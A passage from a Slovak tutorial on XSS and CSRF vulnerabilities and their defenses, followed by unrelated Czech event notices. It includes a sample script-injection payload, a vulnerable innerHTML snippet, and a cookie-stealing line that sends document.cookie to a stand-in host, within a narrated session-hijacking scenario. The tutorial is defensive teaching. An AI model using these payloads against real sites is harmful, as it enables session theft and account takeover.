V tomto pokračovaní nášho malého tutoriálu si ukážeme, ako vyzerajú,
ako fungujú a ako sa brániť proti zraniteľnostiam Cross-Site-Scripting (XSS)
a Cross Site Request Forgery (CSRF/XSRF).
Princíp týchto zraniteľností spočíva v neošetrenom vstupe na danej
www stránky - útočník na tomto základe podstrčí vlastný javascriptový kód.
Pomocou týchto zraniteľnosti vám môže prebrať cookies, ukradnúť session alebo
dokonca vám aj zmeniť údaje o účte bez toho aby ste o tom vedeli jediným
navštívením nebezpečnej stránky.
XSS
Tento útok spočíva v tom, že podstrčíte aplikácií dáta, ktorej jej
samotnej neuškodia ale vrátia sa neodfiltrované na výstup k užívateľovi.
Veľmi dobrý príklad môže byť odoslanie formulára, keď nastane niekde chyba,
väčšinou vám ostanú údaje vyplnené aby ste ich nemuseli vyplňovať odznova.
Zoberme si nasledujúci príklad, ktorý by mal všetko demonštrovať:
<input name="username" value="">
Aplikácii odošleme toto políčko s obsahom "><script>alert('XSS');</script>
dostali by sme tento výsledok:
V takejto podobe sa nám do prehliadača vratí daný kód, čím sa vykoná daný javascriptový kód.
S menšou úpravou môže byť veľmi nebezpečný.
Existujú 3 typy XSS a to sú persistent (stály), non-persistent (nestály)
a local (lokálny, často sa označuje ako HTML Injection).
Persistent
Táto metóda sa využíva napr. v guestbooku. Pokiaľ aplikácia nevyužíva
na výstupe filter, a tým pádom sa neošetria html tagy a vrátia sa klientovi - problém je na svete.
Aplikácia uloží nebezpečný kód a potom každému, kto navštívi guestbook vráti nebezpečný kód,
ktorý sa vykoná u každého klienta.
Správna cesta by mala byť od útočníka do úložiska. Cesta ku klientovi by ale mala viesť cez filter:
Non-Persistent
Tento spôsob je veľmi podobný predošlému persistent, s tým rozdielom, že
infikovanú adresu aplikácie má len útočník. Tento spôsob je síce najmenej
nebezpečný ale je veľmi podceňovaný, čo je veľká chyba.
Malý príklad: predstavte si stránku na ktorej je prihlásenie, registrácia,
fórum. Útočník našiel na stránke 'vytvoriť novú tému' nestálu XSS zraniteľnosť.
Zriadil si free-hosting s dómenou www.example.com, na ktorej mal skript,
ktorý ukladal všetko, čo dostal zo vstupu. Na stránke s diskusiou si
pripravil a vyšperkoval svoj nebezpečný kód. Ten odoslal všetky cookies
cez new Image().src='http://www.example.com/?c='+document.cookie na svoj nachystaný skript na www.example.com. Svoj
nebezpečný kód fungoval takto: zakryl celú stránku na čierno, aby nebolo
vidno, že ide práve o danú lokalitu. Potom ihned odoslal cookies. A nakoniec
sa spustila hra na hádanie čisla od 0 do 100. Útočník potom túto veľmo
dlhú url zmenil zapomoci url shortenera tinyurl.com. Potom napísal novú
tému s tým, že našiel na nete výbornú hru, v ktorej máte hádať číslo od
0 do 100 a pod to dal novú skrátenú adresu. Každý kto klikol na tento odkaz
prišiel o svoj účet! Útočník svoje úložisko pravidelne kontroloval a tým pádom
mohol ihneď reagovať skôr než sa užívateľovi skončí jeho relácia. Serveru
odoslal požiadavku s danými cookies. Kedže server ho identifikoval ako
pôvodného užívateľa, útočník sa ocitol prihlásený za užívateľa a ani na to nepotreboval žiadne heslo!...
Local
Lokálne XSS sa často označuje aj ako infikovanie HTML (HTML injection). Kód je
spustený na strane klienta a práve na strane klienta dochádza k infikovaniu html.
Príkladom môže byť napr. dynamické vloženie html obsahu bez žiadneho filtru:
<script>
var a = window.location.search.indexOf("text=") + 5;
document.getElementsByTagName("div")[0].innerHTML = a;
</script>
Obrana
Zo strany vývojára treba byť paranoidný ku každému vstupu. Neverte ani vlastným
databázam! Každé dáta, ktoré idete poslať klientovi musíte dobre ošetriť problémové znaky
(hlavne: <, >, ", ', (, ) ). Toto isté platí aj pre dáta od server
poslané javascriptu (napr. cez ajax) a tiež ošetriť dané znaky, aby sa nevyskytovali
v novom dynamickom html obsahu. Ďalším veľmi významným opatrením je nastaviť všetkým cookies,
ktoré nemajú čo javascript zaujímať nastaviť httpOnly atribút, ktorý zariadi aby daná cookie
bola posielaná len cez medzi prehliadačom a serverom a žiadne skripty k nej nebudú mať prístup.
Zo strany klienta je obrana pomerne náročná. Pre firefox je tu plugin NoScript.
Google Chrome ma svoju ochranu proti XSS už integrovanú takým spôsobom, že ak
sa odoslané dáta nachádzajú v odpovedi, hodi error/warning do konzoly a daný
kúsok kódu odignoruje.
CSRF / XSRF
Pre správne pochopenie tohto útoku je nutné vedieť ako funguje protokol HTTP.
Web server cez HTTP protokol nevie identifikovať návštevníka, to až po poslaní cookies.
Tento útok dokáže na poslanie parametrov stránke použiť rovnako GET aj POST metódu. Obe metódy
sú úplne rovnake postihnuté. Vždy, keď váš prehliadač posiela požiadavku stránke, zahrnie tam všetko, vrátane cookies, teda
vašej identifikácie. Keďže server nevie určiť od koho požiadavka naozaj pochádza, vyhodnotí
ju ako legitímnu požiadavku a následne ju spracuje.
Vezmime si napríklad URL pre odhlásenie z linuxsoftu:
Každý, kto by navštívil vašu stránku, jeho prehliadač by chcel prehliadač stiahnuť aj obrázok "/odhlas.php" na linuxsoft.cz.
Prehliadač musí vytvoriť požiadavku a odoslať ju na linuxsoft.cz, ktorému odošle všetky dáta, cookies. Server
na ich základe usúdi, že sa jedná o vás a vašu žiadosť o odhlásenie. Dojde k odhláseniu. Skúste sa
prihlásiť stlačiť toto tlačitko a obnoviť stránku a budete odhlásení.
Teraz si predstavte, že rovnako je postihnutá aj metóda POST, je trošku zložitejšia ale nieje to nič extra.
Rozhodol som sa uviesť malý príklad na zmenu emailu. Predstavte si, že formulár na originálnej stránke je nasledujúci:
Po navštívení tejto stránky sa ihneď odošle formulár na zmenu emailu. Pokiaľ obeť je prihlasená,
email sa zmení, čo znamená, že zmeniť si heslo cez zabudnuté heslo a následné poslanie na nový email
je už to najmenej.
Obrana
CSRF je nebezpečný typ útoku a obrana proti nemu nieje ľahká. No určite je nutné, aby ste
kontrolovali hlavičku referer, ak je dostupná. Ďalši najefektívnejší spôsob je otokenovať každý formulár,
to znamená, že ku každému vstupu priradíte uníkátny reťazec. Kedže ho útočník dopredu nevie určiť,
útok nemá veľkú šancu. Určite by bolo dobré keby ste k tomuto tokenu ukladali IP ktorá daný token "vytvorila" a
nakonci ho porovnať s IP ktorá tento token odoslala. Ak sa nezhodujú nemôžete pokračovať! Ďalšou dobrou ochranou
je captcha, ktorá bola pôvodne navrhnutá ako antispamové riešenie.
28.11.2018 23:56/František Kučera Prosincový sraz spolku OpenAlt se koná ve středu 5.12.2018 od 16:00 na adrese Zikova 1903/4, Praha 6. Tentokrát navštívíme organizaci CESNET. Na programu jsou dvě přednášky: Distribuované úložiště Ceph (Michal Strnad) a Plně šifrovaný disk na moderním systému (Ondřej Caletka). Následně se přesuneme do některé z nedalekých restaurací, kde budeme pokračovat v diskusi.
Komentářů: 1
12.11.2018 21:28/Redakce Linuxsoft.cz 22. listopadu 2018 se koná v Praze na Karlově náměstí již pátý ročník konference s tématem Datová centra pro business, která nabídne odpovědi na aktuální a často řešené otázky: Jaké jsou aktuální trendy v oblasti datových center a jak je optimálně využít pro vlastní prospěch? Jak si zajistit odpovídající služby datových center? Podle jakých kritérií vybírat dodavatele služeb? Jak volit vhodné součásti infrastruktury při budování či rozšiřování vlastního datového centra? Jak efektivně datové centrum spravovat? Jak co nejlépe eliminovat možná rizika? apod. Příznivci LinuxSoftu mohou při registraci uplatnit kód LIN350, který jim přinese zvýhodněné vstupné s 50% slevou.
Přidat komentář
6.11.2018 2:04/František Kučera Říjnový pražský sraz spolku OpenAlt se koná v listopadu – již tento čtvrtek – 8. 11. 2018 od 18:00 v Radegastovně Perón (Stroupežnického 20, Praha 5). Tentokrát bez oficiální přednášky, ale zato s dobrým jídlem a pivem – volná diskuse na téma umění a technologie, IoT, CNC, svobodný software, hardware a další hračky.
Přidat komentář
9.9.2018 14:15/Redakce Linuxsoft.cz 20.9.2018 proběhne v pražském Kongresovém centru Vavruška konference Mobilní řešení pro business.
Návštěvníci si vyslechnou mimo jiné přednášky na témata: Nejdůležitější aktuální trendy v oblasti mobilních technologií, správa a zabezpečení mobilních zařízení ve firmách, jak mobilně přistupovat k informačnímu systému firmy, kdy se vyplatí používat odolná mobilní zařízení nebo jak zabezpečit mobilní komunikaci.
Přidat komentář
12.8.2018 16:58/František Kučera Srpnový pražský sraz spolku OpenAlt se koná ve čtvrtek – 16. 8. 2018 od 19:00 v Kavárně Ideál (Sázavská 30, Praha), kde máme rezervovaný salonek. Tentokrát jsou tématem srazu databáze prezentaci svého projektu si pro nás připravil Standa Dzik. Dále bude prostor, abychom probrali nápady na využití IoT a sítě The Things Network, případně další témata.
Přidat komentář